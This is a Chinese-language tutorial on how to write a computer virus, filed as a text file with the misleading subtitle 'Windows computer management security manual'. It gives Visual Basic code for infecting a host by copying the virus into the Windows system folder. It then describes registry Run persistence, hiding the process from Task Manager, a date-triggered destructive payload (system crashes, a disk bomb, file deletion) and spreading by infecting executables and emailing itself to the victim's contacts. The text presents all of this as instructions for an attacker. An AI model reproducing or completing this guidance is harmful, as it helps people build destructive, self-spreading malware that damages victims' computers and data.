病毒编写原理.txt

windows电脑管理的安全手册

 感染主机 

~~~~~~~~~~ 

首先染毒文件运行后先要判断主机是否以感染病毒，也就是判断病 

毒主体文件是否存在，如果不存在则将病毒主体拷贝到指定位置(如： 

将病毒文件拷贝到c:\windows\system\)，可用filecopy语句实现；如果 

病毒已感染主机则结束判断。 



例如，判断C:\windows\system\Killer.exe是否存在，如果有则退 

出判断，如果没有则证明本机未感染病毒，立即拷入病毒文件。 

病毒源文件名为game.exe 

声明部分： 

'定义 FileExists% 函数 

public success% 

Function FileExists%(fname$) 

On Local Error Resume Next 

Dim ff% 

ff% = FreeFile 

Open fname$ For Input As ff% 

If Err Then 

FileExists% = False 

Else 

FileExists% = True 

End If 

Close ff% 

End Function 

代码部分： 

'判断文件是否存在 

success% = FileExists%("C:\windows\system\Killer.exe") 

If success% = False Then '病毒不存在则拷贝病毒到计算机 

FileCopy "game.exe", "C:\windows\system\Killer.exe" 

... '修改注册表，将其加入RUN中。 

End If 





* 开机启动病毒 

~~~~~~~~~~~~~~ 

在病毒感染主机的同时，将自身加入注册表的开机运行中，这与向 

主机拷入病毒是同时进行的，主机感染后不再修改注册表。可通过编程 

和调用API函数对WIN注册表进行操作来实现，这样在每次启动计算机时 

病毒自动启动。(具体编写方法请查阅其它资料) 





* 任务管理器 

~~~~~~~~~~~~ 

在任务管理器列表中禁止病毒本身被列出，可以通过编程来实现。 

用代码 App.TaskVisible = false 就可以实现；再有就是通过调用 

Win API函数来实现，这里就不作介绍了。 





* 病毒发作条件 

~~~~~~~~~~~~~~ 

可用Day(Date)来判断今天是几号，再与确定好的日期作比较，相同 

则表现出病毒主体的破坏性，否则不发作。也可用Time、Date或其它方 

法作为病毒发作条件的判断。 

例： 

if day(date)=16 then '16是发作日期，取值为1-31的整数 

... ... '当日期相符时运行的破坏性代码 

end if 





* 病毒的破坏性 

~~~~~~~~~~~~~~ 

编写的此部分代码决定了病毒威力的强弱。轻的可以使系统资源迅 

速减少直至死机(需要你懂得一点蠕虫的原理)，也就是实现开机即死的 

效果；也可以加入硬盘炸弹代码(HD-BOMB原理我以前做过介绍)、系统后 

台删文件等。重的可以使计算机彻底瘫痪(不作介绍，你可以参阅其它病 

毒的有关资料)。 





* 病毒的繁殖 

~~~~~~~~~~~~ 

原理很简单，就是将其自身与其它可执行文件合并，也就是两个文 

件并成一个文件。也可通过E-Mail传播，方法是病毒读取被感染主机的 

邮件列表，将带有病毒附件的E-Mail发给列表中的每一个人(这需要你懂 

得VB网络编程)。